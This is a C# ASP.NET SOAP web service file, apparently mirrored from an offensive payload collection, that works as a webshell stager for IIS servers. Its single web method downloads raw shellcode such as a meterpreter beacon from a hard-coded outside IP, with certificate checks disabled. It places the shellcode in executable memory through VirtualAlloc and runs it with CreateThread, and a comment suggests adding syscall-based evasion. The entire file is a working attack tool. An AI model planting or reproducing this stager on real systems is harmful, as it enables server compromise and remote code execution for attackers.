mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-26 22:35:27 +00:00
55 lines
2.4 KiB
Plaintext
55 lines
2.4 KiB
Plaintext
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<%@ WebService Language="C#" class="SoapStager"%>
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using System;
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using System.IO;
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using System.Web;
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using System.Web.Services;
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using System.Net;
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using System.Net.NetworkInformation;
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using System.Net.Security;
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// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
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// https://github.com/0xbad53c/webshells/tree/main/iis
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[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
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[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
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public class SoapStager : MarshalByRefObject
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{
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private static Int32 MEM_COMMIT=0x1000;
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private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
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[System.Runtime.InteropServices.DllImport("kernel32")]
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private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
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[System.Runtime.InteropServices.DllImport("kernel32")]
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private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
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[System.ComponentModel.ToolboxItem(false)]
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[WebMethod]
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public string loadStage()
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{
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string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
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byte[] rzjUFlLZh;
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IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
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defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
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// in case of HTTPS
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using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
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{
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ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
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ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
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webClient.UseDefaultCredentials = true;
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rzjUFlLZh = webClient.DownloadData(Url);
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}
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// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
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IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
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IntPtr owlqRoQI_ms = IntPtr.Zero;
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IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
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return "finished";
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}
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}
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